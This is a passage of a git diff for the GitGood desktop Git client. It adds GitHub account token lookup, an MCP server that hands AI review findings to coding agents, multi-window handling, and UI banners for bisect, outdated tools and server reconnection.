path ? (await this.policyRepo(path))?.githubAccount : undefined; + if (!chosen) return null; + const key = `${chosen.host}\0${chosen.login}`; + let token = this.accountTokens.get(key); + if (!token) { + token = (async () => { + await this.ensure('gh'); + const result = await exec(this.ghPath(), ['auth', 'token', '--hostname', chosen.host, '--user', chosen.login], { env: await this.ghEnv(), timeoutMs: 15000 }); + const value = result.stdout.trim(); + if (!value) throw new Error('empty token'); + return value; + })(); + this.accountTokens.set(key, token); + } + try { + return { host: chosen.host, token: await token }; + } catch { + this.accountTokens.delete(key); + throw new GitError({ message: `This repository is set to use the GitHub account ${chosen.login} on ${chosen.host}, which is not signed in. Sign in again from Options → Accounts or choose another account in Repository settings.`, command: '', exitCode: null, stderr: '', stdout: '', code: 'gh-not-authenticated' }); + } + } + private async checkCredentialHelper(gitPath: string): Promise { try { const env = await this.env(); diff --git a/src/main/update/update-core.ts b/src/main/update/update-core.ts index 6ae1067..17a01ff 100644 --- a/src/main/update/update-core.ts +++ b/src/main/update/update-core.ts @@ -6,49 +6,12 @@ * src/main/ai/review-core.ts). */ import type { OperationKind, UpdateChannel, UpdateState } from '@shared/types'; +import { compareVersions } from '@shared/util'; // --------------------------------------------------------------------------- // Semver comparison // --------------------------------------------------------------------------- -interface ParsedVersion { - parts: number[]; - prerelease: string | null; -} - -/** Strips a leading "v"/"V" (as in git tags like "v1.2.3") before parsing. */ -function parseVersion(raw: string): ParsedVersion { - const cleaned = raw.trim().replace(/^v/i, ''); - const [core, ...rest] = cleaned.split('-'); - const parts = core.split('.').map((p) => { - const n = parseInt(p, 10); - return Number.isFinite(n) ? n : 0; - }); - return { parts, prerelease: rest.length ? rest.join('-') : null }; -} - -/** - * Compares two version strings (with an optional leading "v" and an - * optional "-prerelease" suffix), returning -1/0/1 like Array.prototype.sort - * comparators. Numeric parts compare numerically (so "1.9.0" < "1.10.0"); - * a version with a prerelease suffix sorts before its release (per semver - * precedence rules), and otherwise prerelease suffixes compare as strings. - */ -export function compareVersions(a: string, b: string): number { - const pa = parseVersion(a); - const pb = parseVersion(b); - const len = Math.max(pa.parts.length, pb.parts.length); - for (let i = 0; i < len; i++) { - const na = pa.parts[i] ?? 0; - const nb = pb.parts[i] ?? 0; - if (na !== nb) return na < nb ? -1 : 1; - } - if (pa.prerelease === pb.prerelease) return 0; - if (pa.prerelease === null) return 1; // a is a release, b is a prerelease of the same core version: a is newer - if (pb.prerelease === null) return -1; - return pa.prerelease < pb.prerelease ? -1 : 1; -} - /** True when `candidate` is strictly newer than `current`. Never offers a downgrade or the same version. */ export function isNewerVersion(current: string, candidate: string): boolean { return compareVersions(candidate, current) > 0; @@ -158,6 +121,9 @@ export function detectDisabledReason(env: DisabledEnv): string | null { if (!env.isPackaged) return 'Updates unavailable in this build (development / unpackaged).'; if (env.portableExecutableDir) return 'Updates are unavailable in portable Windows builds. Download new versions manually.'; if (env.appImagePath && !env.appImageWritable) return 'Updates are unavailable when running from a read-only location. Download new versions manually.'; + // A packaged Linux run that is not an AppImage is a system package (.deb): electron-updater would + // dpkg -i the download as root, so updates stay with the package manager / a manual download. + if (env.platform === 'linux' && !env.appImagePath) return 'Updates are unavailable for system-package (.deb) installs. Install new versions from the Releases page or your package manager.'; if (env.platform === 'darwin') return 'Updates are unavailable on this unsigned, non-notarised build. Download new versions manually.'; return null; } diff --git a/src/main/window.ts b/src/main/window.ts index f9cc18a..e31b758 100644 --- a/src/main/window.ts +++ b/src/main/window.ts @@ -3,6 +3,7 @@ import { BrowserWindow, nativeTheme, screen, shell } from 'electron'; import { debounce } from '@shared/util'; import { log } from './logger'; import type { Store } from './store'; +import { appEntryUrl, isEntryUrl } from './app-url'; import { sendEvent } from './ipc'; /** @@ -14,11 +15,18 @@ export function smokeHeadless(): boolean { return !!process.env.GITGOOD_SMOKE_SCRIPT && process.env.GITGOOD_SMOKE_SHOW !== '1'; } -/** `remoteUrl` (client mode) loads the GitGood server's renderer with the client preload instead of the bundled app. */ -export function createMainWindow(store: Store, onFocusChange?: (focused: boolean) => void, remoteUrl?: string): BrowserWindow { +/** + * `remoteUrl` (client mode) loads the GitGood server's renderer with the client preload instead of the bundled app. + * `hash` is handed to the renderer as its URL fragment (`repo=`: open that repository at startup, see `bootstrap`). + * The first window restores and persists the saved bounds; later ones cascade from the window that was active and never save. + */ +export function createMainWindow(store: Store, onFocusChange?: (focused: boolean) => void, remoteUrl?: string, hash?: string): BrowserWindow { const state = store.getState(); const headless = smokeHeadless(); - const bounds = state.window; + const anchor = BrowserWindow.getFocusedWindow() ?? BrowserWindow.getAllWindows()[0]; + const primary = !anchor; + const anchorBounds = anchor?.getNormalBounds(); + const bounds = anchorBounds ? { ...anchorBounds, x: anchorBounds.x + 30, y: anchorBounds.y + 30, maximized: false } : state.window; const display = screen.getDisplayMatching({ x: bounds.x ?? 0, y: bounds.y ?? 0, width: bounds.width, height: bounds.height }); const fitsOnScreen = bounds.x !== undefined && bounds.y !== undefined && bounds.x >= display.bounds.x - 50 && bounds.y >= display.bounds.y - 50 && bounds.x < display.bounds.x + display.bounds.width && bounds.y < display.bounds.y + display.bounds.height; const dark = nativeTheme.shouldUseDarkColors; @@ -58,10 +66,12 @@ export function createMainWindow(store: Store, onFocusChange?: (focused: boolean const b = maximized ? win.getNormalBounds() : win.getBounds(); store.updateState({ window: { ...store.getState().window, x: b.x, y: b.y, width: b.width, height: b.height, maximized } }); }, 400); - win.on('resize', saveBounds); - win.on('move', saveBounds); - win.on('maximize', saveBounds); - win.on('unmaximize', saveBounds); + if (primary) { + win.on('resize', saveBounds); + win.on('move', saveBounds); + win.on('maximize', saveBounds); + win.on('unmaximize', saveBounds); + } win.on('focus', () => { sendEvent(win, 'window.focus', { focused: true }); onFocusChange?.(true); @@ -75,9 +85,9 @@ export function createMainWindow(store: Store, onFocusChange?: (focused: boolean if (/^https?:\/\//i.test(url)) void shell.openExternal(url); return { action: 'deny' }; }); + const entry = appEntryUrl(remoteUrl); win.webContents.on('will-navigate', (event, url) => { - const allowed = remoteUrl ? `${remoteUrl}/` : (process.env.ELECTRON_RENDERER_URL ?? 'file://'); - if (!url.startsWith(allowed)) { + if (!isEntryUrl(url, entry)) { event.preventDefault(); if (/^https?:\/\//i.test(url)) void shell.openExternal(url); } @@ -100,9 +110,9 @@ export function createMainWindow(store: Store, onFocusChange?: (focused: boolean }); void win.loadURL(remoteUrl); } else if (process.env.ELECTRON_RENDERER_URL) { - void win.loadURL(process.env.ELECTRON_RENDERER_URL); + void win.loadURL(hash ? `${process.env.ELECTRON_RENDERER_URL}#${hash}` : process.env.ELECTRON_RENDERER_URL); } else { - void win.loadFile(join(__dirname, '../renderer/index.html')); + void win.loadFile(join(__dirname, '../renderer/index.html'), { hash }); } return win; } diff --git a/src/mcp/index.ts b/src/mcp/index.ts new file mode 100644 index 0000000..5f4d94a --- /dev/null +++ b/src/mcp/index.ts @@ -0,0 +1,21 @@ +/** stdio transport: newline-delimited JSON-RPC messages in, one response line out per request (stdout carries nothing else). */ +import { createInterface } from 'node:readline'; +import { handleMessage } from './server'; + +const send = (msg: object) => process.stdout.write(JSON.stringify(msg) + '\n'); + +createInterface({ input: process.stdin }).on('line', (line) => { + if (!line.trim()) return; + let msg: unknown; + try { + msg = JSON.parse(line); + } catch { + send({ jsonrpc: '2.0', id: null, error: { code: -32700, message: 'Parse error' } }); + return; + } + const id = (msg as { id?: unknown } | null)?.id; + handleMessage(msg).then( + (res) => res && send(res), + (err: unknown) => send({ jsonrpc: '2.0', id: id ?? null, error: { code: -32603, message: err instanceof Error ? err.message : String(err) } }), + ); +}); diff --git a/src/mcp/server.ts b/src/mcp/server.ts new file mode 100644 index 0000000..ffdb2a1 --- /dev/null +++ b/src/mcp/server.ts @@ -0,0 +1,199 @@ +/** + * GitGood's MCP server: the review handoff for coding agents as three tools. + * Pure message handling (JSON-RPC 2.0, MCP tools capability); `index.ts` wires it + * to stdio. Read-only except opening a link or the GitGood app: findings come from + * `/gitgood/review/latest.json`, which GitGood writes after every review. + */ +import { execFile, spawn } from 'node:child_process'; +import { readFile, stat } from 'node:fs/promises'; +import { isAbsolute, join, resolve } from 'node:path'; +import { EXPORT_DIR_SEGMENTS, LATEST_JSON, type ReviewExport } from '../main/ai/review-export'; + +/** Newest first. A client asking for anything else is answered with the newest, as the spec requires. */ +export const PROTOCOL_VERSIONS = ['2025-11-25', '2025-06-18', '2025-03-26', '2024-11-05']; +const RERUN_PREFIX = 'gitgood://review/rerun?'; + +export interface McpDeps { + /** Hands a URL to the OS opener (xdg-open / open / Start-Process). */ + openUrl(url: string): Promise; + /** Starts GitGood (or its already running instance) on a directory. */ + launchApp(dir: string): Promise; +} + +interface JsonRpcRequest { + jsonrpc?: unknown; + id?: unknown; + method?: unknown; + params?: unknown; +} + +const REPO_PATH = { type: 'string', description: 'Path of the repository (or any folder inside it, or a linked worktree).' }; +export const TOOLS = [ + { + name: 'gitgood_latest_review', + description: 'The latest AI review GitGood exported for a repository: open findings (file, line, severity, message, suggestion) and the re-review link. Read-only.', + inputSchema: { type: 'object', properties: { repoPath: REPO_PATH }, required: ['repoPath'], additionalProperties: false }, + }, + { + name: 'gitgood_request_rereview', + description: 'Ask GitGood to re-run the pre-commit review of the working tree by opening the latest export\'s single-use re-review link. Use after fixing findings; fails when the latest review has no link (pull request and branch reviews read committed history).', + inputSchema: { type: 'object', properties: { repoPath: REPO_PATH }, required: ['repoPath'], additionalProperties: false }, + }, + { + name: 'gitgood_open_repository', + description: 'Open a repository in the GitGood desktop app.', + inputSchema: { type: 'object', properties: { path: REPO_PATH }, required: ['path'], additionalProperties: false }, + }, +]; + +/** A failure the agent should read; reported as a tool result with `isError`, not a protocol error. */ +class ToolError extends Error {} + +function git(cwd: string, args: string[]): Promise { + return new Promise((ok, fail) => { + execFile('git', args, { cwd, encoding: 'utf8', windowsHide: true }, (err, stdout, stderr) => { + if (err) fail(new ToolError(/ENOENT/.test(err.message) ? 'git was not found on PATH.' : `${cwd} is not inside a git repository (${stderr.trim() || err.message}).`)); + else ok(stdout.trim()); + }); + }); +} + +function pathArg(args: Record, key: string): string { + const value = args[key]; + if (typeof value !== 'string' || !value.trim()) throw new ToolError(`"${key}" must be a non-empty string.`); + return resolve(value); +} + +async function directoryArg(args: Record, key: string): Promise { + const dir = pathArg(args, key); + if (!(await stat(dir).catch(() => null))?.isDirectory()) throw new ToolError(`${dir} is not a directory.`); + return dir; +} + +/** Same lookup as the app (`git rev-parse --git-dir`, so linked worktrees resolve to their own git dir). */ +async function readLatest(args: Record): Promise<{ file: string; doc: ReviewExport }> { + const dir = await directoryArg(args, 'repoPath'); + const gitDir = await git(dir, ['rev-parse', '--git-dir']); + const file = join(isAbsolute(gitDir) ? gitDir : resolve(dir, gitDir), ...EXPORT_DIR_SEGMENTS, LATEST_JSON); + let text: string; + try { + text = await readFile(file, 'utf8'); + } catch { + throw new ToolError(`No GitGood review export at ${file}. Run an AI review for this repository in GitGood first.`); + } + try { + const doc = JSON.parse(text) as ReviewExport; + if (!doc || !Array.isArray(doc.findings)) throw new Error('missing findings'); + return { file, doc }; + } catch (err) { + throw new ToolError(`${file} is not a valid GitGood review export (${err instanceof Error ? err.message : String(err)}).`); + } +} + +async function latestReview(args: Record): Promise { + const { file, doc } = await readLatest(args); + const open = doc.findings.filter((f) => !f.dismissed); + return { + exportFile: file, + runId: doc.runId, + previousRunId: doc.previousRunId, + target: doc.target, + verdict: doc.verdict, + summary: doc.summary, + finishedAt: doc.finishedAt, + error: doc.error, + dismissedCount: doc.findings.length - open.length, + findings: open.map((f) => ({ file: f.path, line: f.line, endLine: f.endLine, severity: f.severity, category: f.category, title: f.title, message: f.detail, suggestion: f.suggestion, confidence: f.confidence })), + rerun: doc.rerun, + }; +} + +async function requestRereview(args: Record, deps: McpDeps): Promise { + const { doc } = await readLatest(args); + const url = doc.rerun?.url; + if (!url) throw new ToolError('The latest review has no re-review link: pull request and branch reviews read committed history, so re-reviewing would change nothing. Ask the user to commit the changes in GitGood and press Re-review.'); + // The export is a file in the repository; never hand the OS opener anything but our own link. + if (!url.startsWith(RERUN_PREFIX)) throw new ToolError('The re-review link in the export is not a gitgood://review/rerun link; refusing to open it.'); + try { + await deps.openUrl(url); + } catch (err) { + throw new ToolError(`Could not open the re-review link (is GitGood installed and registered for gitgood:// links?): ${err instanceof Error ? err.message : String(err)}`); + } + return { opened: true, note: `GitGood re-reviews the working tree; re-read latest.json afterwards — its runId changes and previousRunId is ${doc.runId}.` }; +} + +async function openRepository(args: Record, deps: McpDeps): Promise { + const root = resolve(await git(await directoryArg(args, 'path'), ['rev-parse', '--show-toplevel'])); + try { + await deps.launchApp(root); + } catch (err) { + throw new ToolError(`Could not start GitGood: ${err instanceof Error ? err.message : String(err)}`); + } + return { opened: root }; +} + +export const defaultDeps: McpDeps = { + openUrl(url) { + const [cmd, ...args] = process.platform === 'win32' ? ['powershell', '-NoProfile', '-Command', `Start-Process '${url.replace(/'/g, "''")}'`] : process.platform === 'darwin' ? ['open', url] : ['xdg-open', url]; + return new Promise((ok, fail) => execFile(cmd, args, { windowsHide: true }, (err) => (err ? fail(err) : ok()))); + }, + launchApp(dir) { + // Under the app's own runtime (ELECTRON_RUN_AS_NODE, how the plugin starts this) execPath is GitGood itself; + // otherwise GITGOOD_APP, or the `gitgood` launcher the Linux installer puts on PATH. + const exe = process.versions.electron ? process.env.APPIMAGE || process.execPath : process.env.GITGOOD_APP || 'gitgood'; + const env = { ...process.env }; + delete env.ELECTRON_RUN_AS_NODE; + return new Promise((ok, fail) => { + // `dir` is absolute, so it cannot be mistaken for an option; the app opens it via its command-line support. + const child = spawn(exe, [dir], { detached: true, stdio: 'ignore', env, windowsHide: true }); + child.once('error', (err) => fail(/ENOENT/.test(err.message) ? new Error(`${exe} was not found; set GITGOOD_APP to the GitGood executable.`) : err)); + child.once('spawn', () => { + child.unref(); + ok(); + }); + }); + }, +}; + +const rpcError = (id: unknown, code: number, message: string) => ({ jsonrpc: '2.0', id: id ?? null, error: { code, message } }); + +/** One decoded JSON-RPC message in, the response out (null for notifications). */ +export async function handleMessage(msg: unknown, deps: McpDeps = defaultDeps): Promise { + if (!msg || typeof msg !== 'object' || Array.isArray(msg)) return rpcError(null, -32600, 'Invalid Request'); + const { jsonrpc, id, method, params } = msg as JsonRpcRequest; + if (jsonrpc !== '2.0' || typeof method !== 'string' || (id !== undefined && typeof id !== 'string' && typeof id !== 'number')) return rpcError(id, -32600, 'Invalid Request'); + if (id === undefined) return null; // notification (notifications/initialized, notifications/cancelled, …) + const reply = (result: unknown) => ({ jsonrpc: '2.0', id, result }); + const p = (params && typeof params === 'object' ? params : {}) as Record; + switch (method) { + case 'initialize': { + const requested = typeof p.protocolVersion === 'string' ? p.protocolVersion : ''; + return reply({ + protocolVersion: PROTOCOL_VERSIONS.includes(requested) ? requested : PROTOCOL_VERSIONS[0], + capabilities: { tools: {} }, + serverInfo: { name: 'gitgood', version: typeof __GITGOOD_VERSION__ === 'string' ? __GITGOOD_VERSION__ : 'dev' }, + instructions: 'Read the exported AI review with gitgood_latest_review, fix the findings, then call gitgood_request_rereview. Never commit on the user\'s behalf.', + }); + } + case 'ping': + return reply({}); + case 'tools/list': + return reply({ tools: TOOLS }); + case 'tools/call': { + const name = p.name; + if (!TOOLS.some((t) => t.name === name)) return rpcError(id, -32602, `Unknown tool: ${String(name)}`); + const args = (p.arguments && typeof p.arguments === 'object' ? p.arguments : {}) as Record; + try { + const result = name === 'gitgood_latest_review' ? await latestReview(args) : name === 'gitgood_request_rereview' ? await requestRereview(args, deps) : await openRepository(args, deps); + return reply({ content: [{ type: 'text', text: JSON.stringify(result, null, 2) }] }); + } catch (err) { + if (!(err instanceof ToolError)) throw err; + return reply({ content: [{ type: 'text', text: err.message }], isError: true }); + } + } + default: + return rpcError(id, -32601, `Method not found: ${method}`); + } +} + +declare const __GITGOOD_VERSION__: string | undefined; diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index 3a38dc3..98b6fbc 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -1,6 +1,8 @@ export interface GitGoodBridge { platform: string; invokeRaw: (method: string, ...args: unknown[]) => Promise; + /** Absolute path of a dropped File; only the local desktop app provides it (not web tabs or desktop client mode). */ + getPathForFile?: (file: File) => string; on: (event: string, listener: (payload: unknown) => void) => () => void; } diff --git a/src/preload/index.ts b/src/preload/index.ts index 3712b50..e180c79 100644 --- a/src/preload/index.ts +++ b/src/preload/index.ts @@ -1,9 +1,11 @@ -import { contextBridge, ipcRenderer, type IpcRendererEvent } from 'electron'; +import { contextBridge, ipcRenderer, webUtils, type IpcRendererEvent } from 'electron'; import { IPC_EVENT_CHANNEL, IPC_INVOKE_CHANNEL } from '../shared/ipc'; const bridge = { platform: process.platform, invokeRaw: (method: string, ...args: unknown[]): Promise => ipcRenderer.invoke(IPC_INVOKE_CHANNEL, method, ...args), + /** Absolute path of a dropped File (the renderer cannot read `file.path` any more); only the local desktop app has this. */ + getPathForFile: (file: File): string => webUtils.getPathForFile(file), on: (event: string, listener: (payload: unknown) => void): (() => void) => { const handler = (_e: IpcRendererEvent, name: string, payload: unknown) => { if (name === event) listener(payload); diff --git a/src/renderer/src/App.tsx b/src/renderer/src/App.tsx index 4b36346..16e28a7 100644 --- a/src/renderer/src/App.tsx +++ b/src/renderer/src/App.tsx @@ -1,14 +1,13 @@ -import React, { useEffect, useRef, useState } from 'react'; +import React, { Suspense, useEffect, useRef, useState } from 'react'; import { bootstrap, setView } from './state/actions'; import { store, useAppStore } from './state/store'; import { Banners } from './components/Banners'; import { ChangesTab } from './components/ChangesTab'; import { Dialogs } from './components/dialogs'; +import { DropZone } from './components/DropZone'; import { DiffPane } from './components/diff/DiffPane'; -import { HealthView } from './components/HealthView'; import { CommitDetailsPane, HistoryTab } from './components/HistoryTab'; import { HelpPanel } from './components/HelpPanel'; -import { InboxPanel } from './components/Inbox'; import { SetupScreen } from './components/Setup'; import { StashesView } from './components/StashesTab'; import { Toasts } from './components/Toasts'; @@ -17,6 +16,12 @@ import { ContextMenuHost, Icon } from './components/ui'; import { TabBar, installLongPress, installPhoneNavigation, onPhoneTap } from './components/Mobile'; import { Welcome } from './components/Welcome'; import { ReviewView } from './components/review/ReviewView'; +import { lazyExport } from './lib/lazy'; +import { shortcutMatches } from './lib/shortcuts'; +import { invoke } from './api'; + +const HealthView = lazyExport(() => import('./components/HealthView'), 'HealthView'); +const InboxPanel = lazyExport(() => import('./components/Inbox'), 'InboxPanel'); /** Drives the sidebar width from the DOM while dragging (one style write per mousemove) and commits it to the store on release, so the tree re-renders once per drag instead of once per pixel. */ function useSidebarResize(): { width: number; asideRef: React.RefObject; onMouseDown: (e: React.MouseEvent) => void; active: boolean } { @@ -71,6 +76,7 @@ export function App(): React.JSX.Element { const reviewPath = useAppStore((s) => s.review.selectedPath); const reviewFile = useAppStore((s) => s.review.run?.files.find((f) => f.file.path === s.review.selectedPath)?.file ?? null); const phonePane = useAppStore((s) => s.phonePane); + const inboxOpen = useAppStore((s) => s.inboxUi.open); const popover = useAppStore((s) => s.popover); const { width, asideRef, onMouseDown, active } = useSidebarResize(); @@ -87,12 +93,18 @@ export function App(): React.JSX.Element { void bootstrap(); }, []); + // The native menu carries the accelerators; tell it whenever the overrides load or change (it ignores unchanged ones). + const shortcuts = useAppStore((s) => s.settings?.shortcuts); + useEffect(() => { + if (shortcuts) void invoke('app.setShortcuts', shortcuts).catch(() => undefined); + }, [shortcuts]); + useEffect(() => { const onKey = (e: KeyboardEvent) => { - const mod = e.ctrlKey || e.metaKey; - if (mod && !e.shiftKey && (e.key === '1' || e.key === '2')) { + const target = shortcutMatches('show-changes', e) ? 'changes' : shortcutMatches('show-history', e) ? 'history' : null; + if (target) { e.preventDefault(); - setView(e.key === '1' ? 'changes' : 'history'); + setView(target); } }; window.addEventListener('keydown', onKey); @@ -111,7 +123,11 @@ export function App(): React.JSX.Element { } else if (view === 'stashes' && !reviewOpen) { content = ; } else if (view === 'health' && !reviewOpen) { - content = ; + content = ( + Loading…}> + + + ); } else { const workingFile = selectedWorking ? status?.files.find((f) => f.path === selectedWorking) ?? null : null; content = ( @@ -163,7 +179,12 @@ export function App(): React.JSX.Element { {repo && !reviewOpen && view === 'history' && showCommitDiff ? : null} - + {inboxOpen ? ( + + + + ) : null} + diff --git a/src/renderer/src/api.ts b/src/renderer/src/api.ts index b53d4bf..80f01ef 100644 --- a/src/renderer/src/api.ts +++ b/src/renderer/src/api.ts @@ -28,7 +28,6 @@ export function on(event: K, listener: (payload: EventPaylo export const platform: string = window.gitgoodBridge.platform; export const isMac = platform === 'darwin'; export const isWindows = platform === 'win32'; -export const modKey = isMac ? '⌘' : 'Ctrl'; export function errorMessage(err: unknown): string { if (err instanceof ApiError) return err.info.message; diff --git a/src/renderer/src/components/Banners.tsx b/src/renderer/src/components/Banners.tsx index 49dc9d1..5d13a7b 100644 --- a/src/renderer/src/components/Banners.tsx +++ b/src/renderer/src/components/Banners.tsx @@ -1,8 +1,10 @@ import React, { useEffect, useState } from 'react'; -import type { UpdateState } from '@shared/types'; +import type { BisectState, UpdateState } from '@shared/types'; import { formatRelativeTime } from '@shared/util'; import * as actions from '../state/actions'; import { openDialog, store, useAppStore } from '../state/store'; +import { invoke, on } from '../api'; +import { markBisect, openBisectResult, resetBisect } from '../state/reflog'; import { Button, Icon, Spinner } from './ui'; function lfsInstallHint(platform: string): string { @@ -57,6 +59,65 @@ function updateBanner(updateState: UpdateState): React.JSX.Element | null { return null; } +const plural = (n: number, noun: string): string => `${n} ${noun}${n === 1 ? '' : 's'}`; + +/** Progress of a running `git bisect`: mark the checked-out commit good/bad/skip, or reset; shows the first bad commit once git has found it. */ +function BisectBanner(): React.JSX.Element { + const repo = useAppStore((s) => s.currentRepo); + const status = useAppStore((s) => s.status); + const busy = useAppStore((s) => s.operation !== null); + const [state, setState] = useState(null); + useEffect(() => { + if (!repo) return; + let current = true; + invoke('repo.bisect', repo.path).then((s) => current && setState(s), () => undefined); + return () => { + current = false; + }; + }, [repo, status]); + + const reset = ; + if (state?.firstBad) { + return ( +
+ + + First bad commit found + {state.firstBad.sha.slice(0, 7)} {state.firstBad.summary} + + + + {reset} + +
+ ); + } + const ready = !!state && state.bad !== null && state.good.length > 0; + return ( +
+ + + Bisecting + {ready && state.remaining !== null && state.steps !== null + ? `${plural(state.remaining, 'revision')} left (about ${plural(state.steps, 'step')}). Test ${state.head?.sha.slice(0, 7) ?? 'the checked-out commit'}${state.head ? ` “${state.head.summary}”` : ''}, then mark it.` + : state + ? `Mark a ${state.bad === null ? 'bad' : 'good'} commit (right-click it in History) to continue.` + : 'Loading…'} + + + {ready ? ( + <> + + + + + ) : null} + {reset} + +
+ ); +} + /** Post-resolution check failure banner: shows the command and a "Show output" toggle, plus a single "Ask AI to fix" retry (hidden after it has already been used once for this file). */ function CheckFailedBanner(): React.JSX.Element | null { const banner = useAppStore((s) => s.checkBanner); @@ -81,6 +142,63 @@ function CheckFailedBanner(): React.JSX.Element | null { ); } +const TOOL_UPDATE_HELP: Record<'git' | 'gh', { label: string; url: string; hint: (platform: string) => string }> = { + git: { label: 'Git', url: 'https://git-scm.com/downloads', hint: (p) => (p === 'win32' ? 'winget upgrade --id Git.Git -e' : p === 'darwin' ? 'brew upgrade git' : 'update the git package with your package manager') }, + gh: { label: 'GitHub CLI', url: 'https://cli.github.com', hint: (p) => (p === 'win32' ? 'winget upgrade --id GitHub.cli -e' : p === 'darwin' ? 'brew upgrade gh' : 'update gh as described on cli.github.com') }, +}; + +/** Warns (never blocks) when git or gh is older than the supported minimum; dismissible for the session. */ +function useToolsOutdatedBanner(): React.JSX.Element | null { + const tools = useAppStore((s) => s.tools); + const [dismissed, setDismissed] = useState(false); + const outdated = (['git', 'gh'] as const).filter((t) => tools?.[t].outdated); + if (!tools || dismissed || !outdated.length) return null; + const platform = window.gitgoodBridge.platform; + return ( +
+ + + {outdated.map((t) => ( + + {TOOL_UPDATE_HELP[t].label} {tools[t].version} is older than the supported minimum {tools[t].minVersion}. Some features may fail. Update: {TOOL_UPDATE_HELP[t].hint(platform)} or download from . + + ))} + +
+ ); +} + +/** Event-socket state of a browser tab or remote-server session (see src/server/web-bridge.ts); null while healthy. */ +function useServerBanner(): React.JSX.Element | null { + const [connected, setConnected] = useState(true); + const [updatedTo, setUpdatedTo] = useState(null); + useEffect(() => { + const offs = [on('server.connection', (p) => setConnected(p.connected)), on('server.updated', (p) => setUpdatedTo(p.version))]; + return () => offs.forEach((off) => off()); + }, []); + if (!connected) { + return ( +
+ + Reconnecting to server… Changes made elsewhere will appear once the connection is back. +
+ ); + } + if (updatedTo) { + return ( +
+ + GitGood server was updated to {updatedTo}. Reload to use the new version. + + + +
+ ); + } + return null; +} + export function Banners(): React.JSX.Element | null { const status = useAppStore((s) => s.status); const repo = useAppStore((s) => s.currentRepo); @@ -117,7 +235,9 @@ export function Banners(): React.JSX.Element | null { }, [dismissedLfsRepo, repo?.path, showLfsBanner]); const update = updateBanner(updateState); - if (!repo || !status) return update ?
{update}
: null; + const serverBanner = useServerBanner(); + const toolsBanner = useToolsOutdatedBanner(); + if (!repo || !status) return update || serverBanner || toolsBanner ?
{serverBanner}{toolsBanner}{update}
: null; const banners: React.ReactNode[] = []; const op = status.operation; @@ -143,6 +263,7 @@ export function Banners(): React.JSX.Element | null { ); } + if (op.kind === 'bisect') banners.push(); if (checkBanner) banners.push(); if (merge && dismissedMerge !== merge.at) { @@ -227,5 +348,7 @@ export function Banners(): React.JSX.Element | null { } if (update) banners.push(update); + if (toolsBanner) banners.push(toolsBanner); + if (serverBanner) banners.unshift(serverBanner); return banners.length ?
{banners}
: null; } diff --git a/src/renderer/src/components/ChangesTab.tsx b/src/renderer/src/components/ChangesTab.tsx index e41247c..fd88ba5 100644 --- a/src/renderer/src/components/ChangesTab.tsx +++ b/src/renderer/src/components/ChangesTab.tsx @@ -1,13 +1,15 @@ import React, { memo, useCallback, useEffect, useMemo, useRef, useState } from 'react'; +import { aiEnabled as aiOn } from '@shared/ai-model'; import type { CommitFile, ReviewFinding, ReviewSeverity, WorkingFile } from '@shared/types'; import { extname } from '@shared/util'; import { invoke, isMac } from '../api'; import * as actions from '../state/actions'; -import { openDialog, patchChanges, store, useAppStore } from '../state/store'; +import { openDialog, patchChanges, store, useAppStore, useAiEnabled } from '../state/store'; import { liveFindings, SEVERITY_ICON, SEVERITY_TONE } from './review/ReviewView'; import { onListKeyDown } from '../lib/listKeys'; import { Avatar, Button, Checkbox, Icon, PathLabel, Spinner, openContextMenu, statusIcon, statusLabel, type MenuItem } from './ui'; import { useWindowedRows } from '../lib/windowing'; +import { shortcutMatches } from '../lib/shortcuts'; const SUMMARY_LIMIT = 72; @@ -48,7 +50,7 @@ export function ChangesTab(): React.JSX.Element { const items: MenuItem[] = []; if (file.conflict) { items.push( - { label: 'Resolve with AI', icon: 'sparkle', onClick: () => void actions.resolveWithAi(file.path), disabled: s.settings?.ai.provider === 'disabled' || s.aiBusy }, + { label: 'Resolve with AI', icon: 'sparkle', onClick: () => void actions.resolveWithAi(file.path), disabled: !aiOn(s.settings, s.currentRepo) || s.aiBusy }, { label: `Use ${s.status?.operation.kind === 'rebase' ? 'upstream' : 'current branch'} version (ours)`, onClick: () => void actions.useSide(file.path, 'ours') }, { label: `Use ${s.status?.operation.kind === 'rebase' ? 'rebased commit' : 'incoming'} version (theirs)`, onClick: () => void actions.useSide(file.path, 'theirs') }, { label: 'Mark as resolved', onClick: () => void actions.markResolved([file.path]) }, @@ -154,7 +156,7 @@ function PrecommitFindingsStrip(): React.JSX.Element | null { const review = useAppStore((s) => s.precommitReview); const run = review.run; // Subscribed so turning the AI provider off hides the Fix with agent action immediately. - useAppStore((s) => s.settings?.ai.provider); + useAiEnabled(); const findings = useMemo(() => liveFindings(run), [run]); if (!run && !review.running) return null; @@ -241,6 +243,7 @@ function CommitForm(): React.JSX.Element { const status = useAppStore((s) => s.status); const changes = useAppStore((s) => s.changes); const settings = useAppStore((s) => s.settings); + const aiAvailable = useAiEnabled(); const aiCommitBusy = useAppStore((s) => s.aiCommitBusy); const precommitReview = useAppStore((s) => s.precommitReview); const precommitFindings = useMemo(() => liveFindings(precommitReview.run), [precommitReview.run]); @@ -265,6 +268,12 @@ function CommitForm(): React.JSX.Element { }; }, [repoPath, signingConfigVersion]); + // Prefill from commit.template when the form is empty: on repository open, after a commit empties it, and when amend is switched off. + const statusLoaded = !!status; + useEffect(() => { + if (statusLoaded) void actions.prefillCommitTemplate(); + }, [repoPath, statusLoaded, changes.amend, changes.committing]); + const files = status?.files ?? []; const excludedSet = new Set(changes.excluded); const included = files.filter((f) => !excludedSet.has(f.path)); @@ -275,7 +284,7 @@ function CommitForm(): React.JSX.Element { const label = changes.committing ? 'Committing…' : changes.amend ? 'Amend last commit' : inMerge ? `Commit ${status?.operation.kind === 'merge' ? 'merge' : status?.operation.kind}` : status?.branch.detached ? 'Commit to detached HEAD' : `Commit to ${branchName}`; const onKeyDown = (e: React.KeyboardEvent) => { - if ((e.ctrlKey || e.metaKey) && e.key === 'Enter' && canCommit) { + if (canCommit && shortcutMatches('commit', e)) { e.preventDefault(); void actions.commit(); } @@ -350,14 +359,21 @@ function CommitForm(): React.JSX.Element { /> ) : null} +
+ repo && void actions.setRepoPrefs(repo, { signoff: v })} label="Sign off" disabled={changes.committing || !repo} title="Add a Signed-off-by trailer (git commit --signoff). Remembered for this repository." /> + patchChanges({ noVerify: v })} label={changes.noVerify ? Skip hooks (this commit only) : 'Skip hooks'} disabled={changes.committing} title="Run git commit --no-verify: skips the pre-commit and commit-msg hooks for the next commit only." /> +
